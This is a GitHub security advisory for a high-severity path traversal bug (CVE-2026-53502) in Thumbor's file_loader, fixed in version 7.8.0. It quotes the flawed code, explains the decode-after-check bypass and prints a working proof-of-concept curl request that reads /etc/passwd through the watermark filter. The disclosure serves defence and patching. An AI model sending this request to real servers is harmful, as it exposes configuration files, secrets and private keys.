GitHub Advisoryadvisory · PyPI
GHSA-cj54-hpcc-gj6h Thumbor has path traversal via post-validation URL decoding bypass in file_loader
HIGH
Official page ↗
- Aliases
- CVE-2026-53502
- Ecosystem
- PyPI
- Packages
- thumbor
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-22
- Reviewed
- 2026-07-31
Affected packages
• PyPI thumbor: < 7.8.0 → fixed in 7.8.0
Description
The file_loader performs `unquote()` on the file path AFTER the `abspath() + startswith()` security check. An attacker can use percent-encoded path traversal sequences (`%2e%2e` for `..`) that pass the security check as literal directory names, but are then decoded to actual `..` traversal sequences.
Affected code
`thumbor/loaders/file_loader.py` lines 28-49:
```python
async def load(context, path):
file_path = join(
context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
)
file_path = abspath(file_path)
inside_root_path = file_path.startswith( # Security check
abspath(context.config.FILE_LOADER_ROOT_PATH)
)
result = LoaderResult()
if not inside_root_path:
result.error = LoaderResult.ERROR_NOT_FOUND
result.successful = False
return result
if not exists(file_path):
file_path = unquote(file_path) # unquote AFTER check!
if exists(file_path) and isfile(file_path):
with open(file_path, "rb") as source_file:
...
```
The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies `quote()` in `imaging.py` line 37).
PoC
```bash
Read /etc/passwd via watermark filter path traversal
%252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'
```
Flow:
1. `%252e%252e` arrives at Tornado, decoded to `%2e%2e`
2. Watermark filter passes `%2e%2e/%2e%2e/.../etc/passwd` to file_loader
3. `join(ROOT, '%2e%2e/...')` = `ROOT/%2e%2e/...`
4. `abspath()` sees `%2e%2e` as literal dir name (no dots to resolve)
5. `startswith(ROOT)` = True (passes check)
6. `exists()` returns False (literal `%2e%2e` dir doesn't exist)
7. `unquote()` converts `%2e%2e` to `..`
8. OS resolves `..` → reads files outside ROOT
Prerequisites
• `LOADER = thumbor.loaders.file_loader` (or `file_loader_http_fallback`)
• `ALLOW_UNSAFE_URL = True` (this is the default)
• watermark/frame filters are enabled by default (in BUILTIN_FILTERS)
Impact
Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.
Related
Alias · CVE (1)
- CVE-2026-53502 Thumbor is an open-source photo thumbnail service by globo.com. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness